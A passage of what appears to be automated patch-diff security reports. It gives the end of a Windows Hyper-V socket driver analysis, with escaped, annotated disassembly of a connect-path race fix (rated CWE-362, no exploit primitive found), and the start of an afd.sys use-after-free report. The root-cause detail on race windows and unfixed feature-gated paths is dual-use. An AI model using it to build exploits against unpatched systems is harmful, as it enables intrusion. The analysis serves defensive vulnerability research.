&lt;span class="mh"&gt;0x1C001FED5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlSetupConnection&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reset&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlSetupConnection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C0018370&lt;/span&gt;
&lt;span class="mh"&gt;0x1C001839C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeResetEvent&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x2C8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;here&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;association&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mh"&gt;0x1C00184AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeSetEvent&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;signaled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;establishment&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; in the unpatched build never touches the &lt;code&gt;+0x2C8&lt;/code&gt; event itself. So between &lt;code&gt;VmbusTlAssociateConnectionToPartition&lt;/code&gt; returning (which registers the connection into the partition's connection tables and makes it discoverable to inbound, peer-driven &lt;code&gt;VmbusTlEndpointActionWorkQueueRoutine&lt;/code&gt; processing) and &lt;code&gt;VmbusTlSetupConnection&lt;/code&gt; reaching its &lt;code&gt;KeResetEvent&lt;/code&gt;, the connection is published while its "connect complete" event is still signaled. A concurrently scheduled endpoint-action routine can pass the &lt;code&gt;KeWaitForSingleObject&lt;/code&gt; gate and operate on a connection whose transport establishment has not yet run.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patched order (barrier covers association).&lt;/strong&gt; The patch clears the event FIRST, before setup and before association, and only re-signals it after the transport is established in the newly split-out &lt;code&gt;VmbusTlEstablishConnection&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;patched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlProviderConnect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x140021AC0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x140021E06&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Event&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;C8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mh"&gt;0x140021E29&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeClearEvent&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BEFORE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;association&lt;/span&gt;
&lt;span class="mh"&gt;0x140021E41&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlEndpointSetPendingConnectRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;helper&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;records&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x2A0&lt;/span&gt;
&lt;span class="mh"&gt;0x140021E49&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlSetupConnection&lt;/span&gt;
&lt;span class="mh"&gt;0x140021E5F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlAssociateConnectionToPartition&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;publishes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CLEARED&lt;/span&gt;
&lt;span class="mh"&gt;0x140021E6B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_140021FE4&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;associate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
&lt;span class="mh"&gt;0x140021FED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlEstablishConnection&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;helper&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dispatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;transport&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;then&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeSetEvent&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;patched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlEstablishConnection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x14001A658&lt;/span&gt;
&lt;span class="mh"&gt;0x14001A6B6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_guard_dispatch_icall&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;establish&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;transport&lt;/span&gt;
&lt;span class="mh"&gt;0x14001A6CC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;C8h&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Event&lt;/span&gt;
&lt;span class="mh"&gt;0x14001A6D8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeSetEvent&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;complete&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;signaled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;associate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FAILURE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;signals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unwinds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;
&lt;span class="mh"&gt;0x140021E79&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeSetEvent&lt;/span&gt;
&lt;span class="mh"&gt;0x140021E88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VmbusTlEndpointClearPendingConnectRequest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Because the event is cleared before &lt;code&gt;VmbusTlAssociateConnectionToPartition&lt;/code&gt;, any peer-driven &lt;code&gt;VmbusTlEndpointActionWorkQueueRoutine&lt;/code&gt; that finds the newly published connection now blocks on the &lt;code&gt;+0x2C8&lt;/code&gt; wait until &lt;code&gt;VmbusTlEstablishConnection&lt;/code&gt; has finished dispatching the transport and signaled the event. The race window between publication and transport establishment is closed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;New helpers, confirmed absent in the unpatched binary.&lt;/strong&gt; &lt;code&gt;VmbusTlEndpointSetPendingConnectRequest&lt;/code&gt; (&lt;code&gt;0x14001A594&lt;/code&gt;), &lt;code&gt;VmbusTlEndpointClearPendingConnectRequest&lt;/code&gt; (&lt;code&gt;0x140002F7C&lt;/code&gt;), and &lt;code&gt;VmbusTlEstablishConnection&lt;/code&gt; (&lt;code&gt;0x14001A658&lt;/code&gt;) do not exist by content or by name in &lt;code&gt;hvsocket_unpatched.asm&lt;/code&gt;; the unpatched build performs the equivalent pending-request store inline at &lt;code&gt;0x1C001FE79&lt;/code&gt; and bundles the establishment inside &lt;code&gt;VmbusTlSetupConnection&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why this is a security fix, not a mechanical refactor.&lt;/strong&gt; The reorder changes observable ordering on shared endpoint state: in the unpatched build a connection becomes reachable to concurrent, peer-driven action processing (indirect call through &lt;code&gt;endpoint+0x2E0&lt;/code&gt;) before its transport is set up and while its completion gate is open; in the patched build the completion gate is held closed across the publish-and-establish window. This is the same MSRC-tagged concurrency theme as delta 5(b), but it is delivered unconditionally rather than behind a WIL flag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Direction and gating:&lt;/strong&gt; patched is stricter (barrier now covers association; unpatched leaves it open). Not a relaxation. Not WIL feature-staged — there is no &lt;code&gt;Feature_MSRC*&lt;/code&gt;/&lt;code&gt;IsEnabled&lt;/code&gt; check inside &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt;. Not telemetry, relocation, API modernization, or init-only: the connect path is reached directly from user-mode &lt;code&gt;connect()&lt;/code&gt;/&lt;code&gt;WSAConnect()&lt;/code&gt; on an AF_HYPERV socket.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity note.&lt;/strong&gt; This is rated &lt;strong&gt;Medium / CWE-362&lt;/strong&gt;. The reachable window and the narrowing are demonstrable from the binaries and the fix is MSRC-tagged and shipped by default. A concrete memory-corruption primitive (for example a reliable use-after-free or a controlled indirect call) is &lt;strong&gt;not&lt;/strong&gt; demonstrable from these two binaries alone: &lt;code&gt;VmbusTlEndpointActionWorkQueueRoutine&lt;/code&gt; null-checks &lt;code&gt;endpoint+0x2E0&lt;/code&gt; before use and dispatches through a CFG-guarded pointer, which bounds trivial exploitation. The finding is a genuine, attacker-reachable race that Microsoft closed unconditionally, without a proven corruption primitive from static comparison.&lt;/p&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h3&gt;
&lt;p&gt;None demonstrable. The originally claimed logical authorization/isolation bypass does not exist: the wildcard-address rejection and the caller-identity authorization it relied on are present in both builds. The two real deltas are a config-gated behavior and a feature-flag-staged locking change; neither yields a demonstrable, reachable primitive from these binaries. No memory-corruption, information-leak, or privilege-escalation primitive is present on the diffed paths.&lt;/p&gt;
&lt;h3&gt;7. Trigger / Reproduction&lt;/h3&gt;
&lt;p&gt;There is no differential trigger for the originally claimed bug: a &lt;code&gt;connect()&lt;/code&gt; on an &lt;code&gt;AF_HYPERV&lt;/code&gt; socket with a wildcard &lt;code&gt;DestinationVmId&lt;/code&gt; is rejected with &lt;code&gt;STATUS_INVALID_ADDRESS&lt;/code&gt; (&lt;code&gt;0xC0000141&lt;/code&gt;) by &lt;code&gt;VmbusTlValidateSockAddress&lt;/code&gt; in BOTH the unpatched and patched builds, because the wildcard-rejection block is identical in both. The &lt;code&gt;VmbusTlAuthenticateWildcardListen&lt;/code&gt; denial only differs when the Azure feature-set registry value is set; the &lt;code&gt;Feature_MSRC97534_57540200&lt;/code&gt; locking behavior only differs by the WIL flag state.&lt;/p&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;VmbusTlProviderConnect (&lt;code&gt;0x1C001F9C0&lt;/code&gt; unpatched / &lt;code&gt;0x140021AC0&lt;/code&gt; patched):&lt;/strong&gt; &lt;strong&gt;Delivered security change (CWE-362), see section 5b.&lt;/strong&gt; The &lt;code&gt;VmbusTlValidateSockAddress&lt;/code&gt; gate is identical in both builds, but the connect path was unconditionally reordered so that &lt;code&gt;VmbusTlAssociateConnectionToPartition&lt;/code&gt; runs while the &lt;code&gt;endpoint+0x2C8&lt;/code&gt; connect-complete event is held cleared (&lt;code&gt;KeClearEvent&lt;/code&gt; at &lt;code&gt;0x140021E29&lt;/code&gt;, before the association at &lt;code&gt;0x140021E5F&lt;/code&gt;), with the event only re-signaled after transport establishment in the new &lt;code&gt;VmbusTlEstablishConnection&lt;/code&gt;. The unpatched build associates first (&lt;code&gt;0x1C001FE1E&lt;/code&gt;) while that event is still signaled and only resets it later inside &lt;code&gt;VmbusTlSetupConnection&lt;/code&gt; (&lt;code&gt;KeResetEvent&lt;/code&gt; &lt;code&gt;0x1C001839C&lt;/code&gt;). This narrows a connection-establishment race window. The remaining differences (variable renumbering, trace-level constant renames, the S-List-to-lookaside free-path swap, and &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; to &lt;code&gt;ExAllocatePool2&lt;/code&gt; modernization) are mechanical.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VmbusTlValidateSockAddress (&lt;code&gt;0x1C0019254&lt;/code&gt; unpatched / &lt;code&gt;0x14001B1A0&lt;/code&gt; patched):&lt;/strong&gt; Not a security change. Identical family / reserved / wildcard-GUID checks and identical &lt;code&gt;VmbusTlAuthenticateConnectSockAddress&lt;/code&gt; caller-authorization call in both builds. Only the object-free cleanup path differs (S-List push vs &lt;code&gt;ExFreeToNPagedLookasideList&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VmbusTlProcessNewConnection (&lt;code&gt;0x1C001B824&lt;/code&gt; unpatched / &lt;code&gt;0x14001CD30&lt;/code&gt; patched):&lt;/strong&gt; Not a security change. No authorization call was added; &lt;code&gt;VmbusTlAuthenticateConnectSockAddress&lt;/code&gt; is invoked only from &lt;code&gt;VmbusTlValidateSockAddress&lt;/code&gt; in both builds, never from this function. The difference is the S-List-to-lookaside refactor plus trace churn.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VmbusTlProcessNewConnectionForListener (&lt;code&gt;0x1C001ADA4&lt;/code&gt; unpatched / &lt;code&gt;0x14001D2D4&lt;/code&gt; patched):&lt;/strong&gt; Not a security change. S-List-to-lookaside refactor and refcount-cleanup restructuring.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VmbusTlAuthenticateWildcardListen (&lt;code&gt;0x1C00081AC&lt;/code&gt; unpatched / &lt;code&gt;0x1400078B8&lt;/code&gt; patched):&lt;/strong&gt; Behavioral, config-gated. Adds an Azure-feature-set-gated denial (&lt;code&gt;0xC0000208&lt;/code&gt;) with the original access-check path retained; not a default-on fix. See section 5(a).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Feature_MSRC97534_57540200&lt;/code&gt;-gated routines:&lt;/strong&gt; Behavioral, feature-flag-staged. Conditional fast-mutex acquisition across the connection/service-association paths listed in section 5(b). Not delivered unconditionally.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bulk (~170 functions):&lt;/strong&gt; Mechanical migration of the object-free path from interlocked S-List pools to &lt;code&gt;ExFreeToNPagedLookasideList&lt;/code&gt;, &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; to &lt;code&gt;ExAllocatePool2&lt;/code&gt;, and WPP/ETW trace argument and trace-level-constant churn. No security behavior change.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;p&gt;0 unmatched functions in either direction. All modifications are alterations of existing functions. The &lt;code&gt;Feature_MSRC97534_57540200__private_IsEnabled*&lt;/code&gt; and &lt;code&gt;HvSocketGetAzureFeatureSetEnabled&lt;/code&gt; symbols are new in the patched build, but they are staging/config helpers rather than a delivered security gate.&lt;/p&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High that the originally titled authentication/authorization-bypass finding is a false positive: the validation gate, the wildcard rejection, and the caller-identity authorization are all present and functionally identical in both builds, and are invoked from the connect path in both.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confidence on the delivered fix (section 5b):&lt;/strong&gt; High that a real, unconditional behavioral change exists: the &lt;code&gt;endpoint+0x2C8&lt;/code&gt; event is initialized signaled in &lt;code&gt;VmbusTlCreateConnection&lt;/code&gt;, the patched &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; clears it before association (&lt;code&gt;0x140021E29&lt;/code&gt;) whereas the unpatched build associates while it is still signaled and resets it only later inside &lt;code&gt;VmbusTlSetupConnection&lt;/code&gt;, and the three helper functions (&lt;code&gt;VmbusTlEndpointSetPendingConnectRequest&lt;/code&gt;, &lt;code&gt;VmbusTlEndpointClearPendingConnectRequest&lt;/code&gt;, &lt;code&gt;VmbusTlEstablishConnection&lt;/code&gt;) are absent from the unpatched binary. Medium confidence on impact class (CWE-362 race) and honest that a concrete corruption primitive is not demonstrable from static comparison alone (the consumer null-checks &lt;code&gt;endpoint+0x2E0&lt;/code&gt; and dispatches through a CFG-guarded pointer).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caveat on the MSRC-tagged change:&lt;/strong&gt; The &lt;code&gt;Feature_MSRC97534_57540200&lt;/code&gt; locking reorganization is real and MSRC-tagged, but it is staged behind a WIL feature flag with the prior path retained. Its exact security intent and reachable impact cannot be established from these two binaries alone, so it is not rated here beyond "concurrency-hardening, feature-staged, not delivered by default."&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caveat on the Azure gate:&lt;/strong&gt; The &lt;code&gt;VmbusTlAuthenticateWildcardListen&lt;/code&gt; denial is real but conditioned on an Azure feature-set registry value and retains the original access-check path; it is environment-specific hardening, not a universally delivered fix.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>afd.sys — Pending IRPs left queued on a recycled connection during AFD SAN teardown (CWE-416) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/afd_1c32b2b4-afd-report-20260626-131203.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/afd_1c32b2b4-afd-report-20260626-131203.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;afd_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;afd_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9835&lt;/strong&gt; (16 changed of 1179 matched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;1163&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (added/removed)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict.&lt;/strong&gt; The patch adds a &lt;strong&gt;feature-staged&lt;/strong&gt; correctness fix to the AFD "San" connection cancel/teardown path. In the unpatched build, &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; cancels one IRP and then resets the connection object &lt;em&gt;without&lt;/em&gt; draining the other IRPs still queued on the connection's pending-IRP list at &lt;code&gt;conn+0x70&lt;/code&gt;. Those siblings are left linked on a list whose head is about to be zeroed, on a connection object that is reset and recycled — a use-after-free / dangling-pointer condition (CWE-416) with a teardown race (CWE-362). The patch adds a drain loop, a teardown flag at &lt;code&gt;conn+0x91&lt;/code&gt;, and matching gates in the send/receive and connection-creation paths. Every one of these changes is gated behind the Windows feature &lt;code&gt;g_Feature_556471608_60363862&lt;/code&gt;; when that feature is disabled the patched binary still executes the original (unsafe) path, so this is a staged rollout rather than an unconditional fix. The connection is reset/recycled in place, not freed through &lt;code&gt;ExFreePool&lt;/code&gt;, so the demonstrable impact is a list-integrity bugcheck / operation on a recycled object, not a proven arbitrary read/write primitive.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
